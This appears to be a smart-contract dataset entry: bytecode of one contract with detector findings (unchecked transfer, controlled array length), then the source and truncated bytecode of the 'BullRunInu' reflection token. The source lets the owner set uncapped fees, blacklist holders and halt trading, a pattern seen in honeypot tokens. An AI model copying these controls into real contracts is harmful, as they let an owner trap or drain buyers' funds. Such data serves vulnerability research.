0x606060405236156101515763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461015657806306fdde031461017d578063095ea7b31461020757806318160ddd1461022957806323b872dd1461024e578063313ce567146102765780633df4ddf4146102895780633f4ba83a146102b857806340c10f19146102cb57806347799da8146102ed578063563540a2146103005780635c0b51fb146103155780635c975abb1461036c57806370a082311461037f5780637d64bcb41461039e57806383a37262146103b15780638456cb59146103c75780638da5cb5b146103da57806395d89b41146103ed578063a2b7e23d14610400578063a9059cbb14610413578063ab91c7b014610435578063c56551b614610448578063db0e16f11461045b578063dd62ed3e1461047d578063f2fde38b146104a2575b600080fd5b341561016157600080fd5b6101696104c1565b604051901515815260200160405180910390f35b341561018857600080fd5b6101906104d1565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101cc5780820151838201526020016101b4565b50505050905090810190601f1680156101f95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561021257600080fd5b610169600160a060020a036004351660243561056f565b341561023457600080fd5b61023c610615565b60405190815260200160405180910390f35b341561025957600080fd5b610169600160a060020a036004358116906024351660443561061b565b341561028157600080fd5b61023c610695565b341561029457600080fd5b61029c61069b565b604051600160a060020a03909116815260200160405180910390f35b34156102c357600080fd5b6101696106aa565b34156102d657600080fd5b610169600160a060020a0360043516602435610732565b34156102f857600080fd5b61029c6107a1565b341561030b57600080fd5b6103136107b0565b005b341561032057600080fd5b610334600160a060020a03600435166107f6565b6040519315158452600160a060020a039283166020850152911660408084019190915260608301919091526080909101905180910390f35b341561037757600080fd5b61016961082c565b341561038a57600080fd5b61023c600160a060020a036004351661083c565b34156103a957600080fd5b610169610857565b34156103bc57600080fd5b6103136004356108cb565b34156103d257600080fd5b6101696109c4565b34156103e557600080fd5b61029c610a50565b34156103f857600080fd5b610190610a5f565b341561040b57600080fd5b610169610aca565b341561041e57600080fd5b610169600160a060020a0360043516602435610ada565b341561044057600080fd5b61023c610b4a565b341561045357600080fd5b61023c610b50565b341561046657600080fd5b610313600160a060020a0360043516602435610b56565b341561048857600080fd5b61023c600160a060020a0360043581169060243516610bf1565b34156104ad57600080fd5b610313600160a060020a0360043516610c1c565b60035460a060020a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105675780601f1061053c57610100808354040283529160200191610567565b820191906000526020600020905b81548152906001019060200180831161054a57829003601f168201915b505050505081565b60008115806105a15750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b15156105ac57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b600354600090819060a860020a900460ff161561063757600080fd5b610642858585610c65565b600160a060020a038616600090815260016020526040902054909150610669908690610d78565b600160a060020a03841660009081526001602052604090205461068d908590610d78565b949350505050565b60065481565b600754600160a060020a031681565b60035460009033600160a060020a039081169116146106c857600080fd5b60035460a860020a900460ff1615156106e057600080fd5b6003805475ff000000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a15060015b90565b600354600090819033600160a060020a0390811691161461075257600080fd5b60035460a060020a900460ff161561076957600080fd5b6107738484610e97565b600160a060020a03851660009081526001602052604090205490915061079a908590610d78565b9392505050565b600854600160a060020a031681565b60035433600160a060020a039081169116146107cb57600080fd5b6008805474ff0000000000000000000000000000000000000000191660a060020a1790556000600955565b600a6020526000908152604090208054600182015460029092015460ff821692600160a060020a03610100909304831692169084565b60035460a860020a900460ff1681565b600160a060020a031660009081526001602052604090205490565b60035460009033600160a060020a0390811691161461087557600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b60035460009033600160a060020a039081169116146108e957600080fd5b506008805474ff00000000000000000000000000000000000000001916905560005b8181101561099b57600b546009541061092f5761092a600b6000611563565b6109c0565b610989600b60095481548110151561094357fe5b6000918252602090912060029091020154600954600b8054600160a060020a0390931692909190811061097257fe5b906000526020600020906002020160010154610d78565b6009805460019081019091550161090b565b6008805474ff0000000000000000000000000000000000000000191660a060020a1790555b5050565b60035460009033600160a060020a039081169116146109e257600080fd5b60035460a860020a900460ff16156109f957600080fd5b6003805475ff000000000000000000000000000000000000000000191660a860020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a150600190565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105675780601f1061053c57610100808354040283529160200191610567565b60085460a060020a900460ff1681565b600354600090819060a860020a900460ff1615610af657600080fd5b610b008484610f65565b33600160a060020a038116600090815260016020526040902054919250610b2691610d78565b600160a060020a03841660009081526001602052604090205461079a908590610d78565b600b5490565b60095481565b600354600160a060020a038084169163a9059cbb9116836000604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515610bd257600080fd5b6102c65a03f11515610be357600080fd5b505050604051805150505050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610c3757600080fd5b600160a060020a03811615610c625760038054600160a060020a031916600160a060020a0383161790555b50565b600160a060020a038084166000908152600260209081526040808320338516845282528083205493861683526001909152812054909190610cac908463ffffffff61102416565b600160a060020a038086166000908152600160205260408082209390935590871681522054610ce1908463ffffffff61103316565b600160a060020a038616600090815260016020526040902055610d0a818463ffffffff61103316565b600160a060020a03808716600081815260026020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3506001949350505050565b60085460a060020a900460ff1615610d945761092a8282611045565b8015610e6d57600160a060020a0382166000908152600a602052604090205460ff161515610dcb57610dc682826110b5565b61092a565b600160a060020a0382166000908152600a6020526040908190206002018290557f1f542a60f9c43dd0fedc28c24846d3aa3e3da3905bf6033ebaf7ffe0f71d6d7c908390839051600160a060020a03909216602083015260408083019190915260608083526006908301527f7570646174650000000000000000000000000000000000000000000000000000608083015260a0909101905180910390a16109c0565b600160a060020a0382166000908152600a602052604090205460ff16156109c0576109c082611279565b60035460009033600160a060020a03908116911614610eb557600080fd5b60035460a060020a900460ff1615610ecc57600080fd5b600054610edf908363ffffffff61102416565b6000908155600160a060020a038416815260016020526040902054610f0a908363ffffffff61102416565b600160a060020a0384166000818152600160205260408082209390935590917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a033316600090815260016020526040812054610f8e908363ffffffff61103316565b600160a060020a033381166000908152600160205260408082209390935590851681522054610fc3908363ffffffff61102416565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b60008282018381101561079a57fe5b60008282111561103f57fe5b50900390565b600b8054600181016110578382611584565b9160005260206000209060020201600060408051908101604052600160a060020a03861681526020810185905291905081518154600160a060020a031916600160a060020a0391909116178155602082015181600101555050505050565b608060405190810160409081526001825260006020808401829052600854600160a060020a03908116848601526060850186905286168252600a9052208151815460ff191690151517815560208201518154600160a060020a03919091166101000274ffffffffffffffffffffffffffffffffffffffff00199091161781556040820151600182018054600160a060020a031916600160a060020a0392909216919091179055606082015160029091015550600854600160a060020a0316156111c257600854600160a060020a039081166000908152600a6020526040902080549184166101000274ffffffffffffffffffffffffffffffffffffffff00199092169190911790556111de565b60078054600160a060020a031916600160a060020a0384161790555b60088054600160a060020a031916600160a060020a0384161790557f1f542a60f9c43dd0fedc28c24846d3aa3e3da3905bf6033ebaf7ffe0f71d6d7c8282604051600160a060020a03909216602083015260408083019190915260608083526003908301527f6164640000000000000000000000000000000000000000000000000000000000608083015260a0909101905180910390a15050565b6007546000908190600160a060020a038481169116141561137c57600160a060020a038084166000908152600a6020526040908190205460078054600160a060020a031916610100909204909316179091556080905190810160409081526000808352602080840182905282840182905260608401829052600160a060020a0387168252600a9052208151815460ff191690151517815560208201518154600160a060020a03919091166101000274ffffffffffffffffffffffffffffffffffffffff00199091161781556040820151600182018054600160a060020a031916600160a060020a039290921691909117905560608201516002909101555061155e565b5050600160a060020a038082166000908152600a6020526040902080546001909101546101009091048216911680156113f257600160a060020a038082166000908152600a6020526040902080549184166101000274ffffffffffffffffffffffffffffffffffffffff00199092169190911790555b600160a060020a0382161561143357600160a060020a038281166000908152600a602052604090206001018054600160a060020a0319169183169190911790555b608060405190810160409081526000808352602080840182905282840182905260608401829052600160a060020a0387168252600a9052208151815460ff191690151517815560208201518154600160a060020a03919091166101000274ffffffffffffffffffffffffffffffffffffffff00199091161781556040820151600182018054600160a060020a031916600160a060020a03929092169190911790556060820151600290910155507f1f542a60f9c43dd0fedc28c24846d3aa3e3da3905bf6033ebaf7ffe0f71d6d7c836000604051600160a060020a03909216602083015260408083019190915260608083526006908301527f72656d6f76650000000000000000000000000000000000000000000000000000608083015260a0909101905180910390a15b505050565b5080546000825560020290600052602060002090810190610c6291906115ac565b81548183558181151161155e5760020281600202836000526020600020918201910161155e91905b61072f91905b808211156115d7578054600160a060020a0319168155600060018201556002016115b2565b50905600a165627a7a7230582089f28e95c78e5ec76f015fd88cb9c0ae18a40c18cfccdda4181ffc6a409559bf0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,163 |
0x7698858f93be769f119018d7fee441bc198aef8f
|
/**
*Submitted for verification at Etherscan.io on 2022-03-28
*/
/*
BullRunInu - We are waiting BRI since few months and with this greedy market we all hope it's the time now !
Our telegram group will be release at 30k MC in owner tx.
Ownership will be renounced after our 0% buy tax competition.
Buy / Sell tax : 10%
- 10M total supply
- 3% Reflections
- 5% Marketing Tax
- 2% Dev Fee
5% will be burned after the launch
Max wallet : 3%
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BullRunInu is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "BullRunInu";//////////////////////////
string private constant _symbol = "BRI";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 3;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 10;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 3;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 10;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x009Aad797EC1C6dBCA04b35c1e893687D45C68Ab);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x009Aad797EC1C6dBCA04b35c1e893687D45C68Ab);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 300000 * 10**9; //3%
uint256 public _maxWalletSize = 300000 * 10**9; //3%
uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461051b578063dd62ed3e1461053b578063ea1644d514610581578063f2fde38b146105a157600080fd5b8063a2a957bb14610496578063a9059cbb146104b6578063bfd79284146104d6578063c3c8cd801461050657600080fd5b80638f70ccf7116100d15780638f70ccf7146104145780638f9a55c01461043457806395d89b411461044a57806398a5c3151461047657600080fd5b806374010ece146103c05780637d1db4a5146103e05780638da5cb5b146103f657600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103565780636fc3eaec1461037657806370a082311461038b578063715018a6146103ab57600080fd5b8063313ce567146102fa57806349bd5a5e146103165780636b9990531461033657600080fd5b80631694505e116101a05780631694505e1461026857806318160ddd146102a057806323b872dd146102c45780632fd689e3146102e457600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023857600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611ae5565b6105c1565b005b3480156101ff57600080fd5b5060408051808201909152600a81526942756c6c52756e496e7560b01b60208201525b60405161022f9190611c0f565b60405180910390f35b34801561024457600080fd5b50610258610253366004611a3b565b61066e565b604051901515815260200161022f565b34801561027457600080fd5b50601454610288906001600160a01b031681565b6040516001600160a01b03909116815260200161022f565b3480156102ac57600080fd5b50662386f26fc100005b60405190815260200161022f565b3480156102d057600080fd5b506102586102df3660046119fb565b610685565b3480156102f057600080fd5b506102b660185481565b34801561030657600080fd5b506040516009815260200161022f565b34801561032257600080fd5b50601554610288906001600160a01b031681565b34801561034257600080fd5b506101f161035136600461198b565b6106ee565b34801561036257600080fd5b506101f1610371366004611bac565b610739565b34801561038257600080fd5b506101f1610781565b34801561039757600080fd5b506102b66103a636600461198b565b6107cc565b3480156103b757600080fd5b506101f16107ee565b3480156103cc57600080fd5b506101f16103db366004611bc6565b610862565b3480156103ec57600080fd5b506102b660165481565b34801561040257600080fd5b506000546001600160a01b0316610288565b34801561042057600080fd5b506101f161042f366004611bac565b610891565b34801561044057600080fd5b506102b660175481565b34801561045657600080fd5b5060408051808201909152600381526242524960e81b6020820152610222565b34801561048257600080fd5b506101f1610491366004611bc6565b6108d9565b3480156104a257600080fd5b506101f16104b1366004611bde565b610908565b3480156104c257600080fd5b506102586104d1366004611a3b565b610946565b3480156104e257600080fd5b506102586104f136600461198b565b60106020526000908152604090205460ff1681565b34801561051257600080fd5b506101f1610953565b34801561052757600080fd5b506101f1610536366004611a66565b6109a7565b34801561054757600080fd5b506102b66105563660046119c3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058d57600080fd5b506101f161059c366004611bc6565b610a56565b3480156105ad57600080fd5b506101f16105bc36600461198b565b610a85565b6000546001600160a01b031633146105f45760405162461bcd60e51b81526004016105eb90611c62565b60405180910390fd5b60005b815181101561066a5760016010600084848151811061062657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066281611d75565b9150506105f7565b5050565b600061067b338484610b6f565b5060015b92915050565b6000610692848484610c93565b6106e484336106df85604051806060016040528060288152602001611dd2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111cf565b610b6f565b5060019392505050565b6000546001600160a01b031633146107185760405162461bcd60e51b81526004016105eb90611c62565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107635760405162461bcd60e51b81526004016105eb90611c62565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b657506013546001600160a01b0316336001600160a01b0316145b6107bf57600080fd5b476107c981611209565b50565b6001600160a01b03811660009081526002602052604081205461067f9061128e565b6000546001600160a01b031633146108185760405162461bcd60e51b81526004016105eb90611c62565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088c5760405162461bcd60e51b81526004016105eb90611c62565b601655565b6000546001600160a01b031633146108bb5760405162461bcd60e51b81526004016105eb90611c62565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109035760405162461bcd60e51b81526004016105eb90611c62565b601855565b6000546001600160a01b031633146109325760405162461bcd60e51b81526004016105eb90611c62565b600893909355600a91909155600955600b55565b600061067b338484610c93565b6012546001600160a01b0316336001600160a01b0316148061098857506013546001600160a01b0316336001600160a01b0316145b61099157600080fd5b600061099c306107cc565b90506107c981611312565b6000546001600160a01b031633146109d15760405162461bcd60e51b81526004016105eb90611c62565b60005b82811015610a50578160056000868685818110610a0157634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a16919061198b565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4881611d75565b9150506109d4565b50505050565b6000546001600160a01b03163314610a805760405162461bcd60e51b81526004016105eb90611c62565b601755565b6000546001600160a01b03163314610aaf5760405162461bcd60e51b81526004016105eb90611c62565b6001600160a01b038116610b145760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105eb565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105eb565b6001600160a01b038216610c325760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105eb565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105eb565b6001600160a01b038216610d595760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105eb565b60008111610dbb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105eb565b6000546001600160a01b03848116911614801590610de757506000546001600160a01b03838116911614155b156110c857601554600160a01b900460ff16610e80576000546001600160a01b03848116911614610e805760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105eb565b601654811115610ed25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105eb565b6001600160a01b038316600090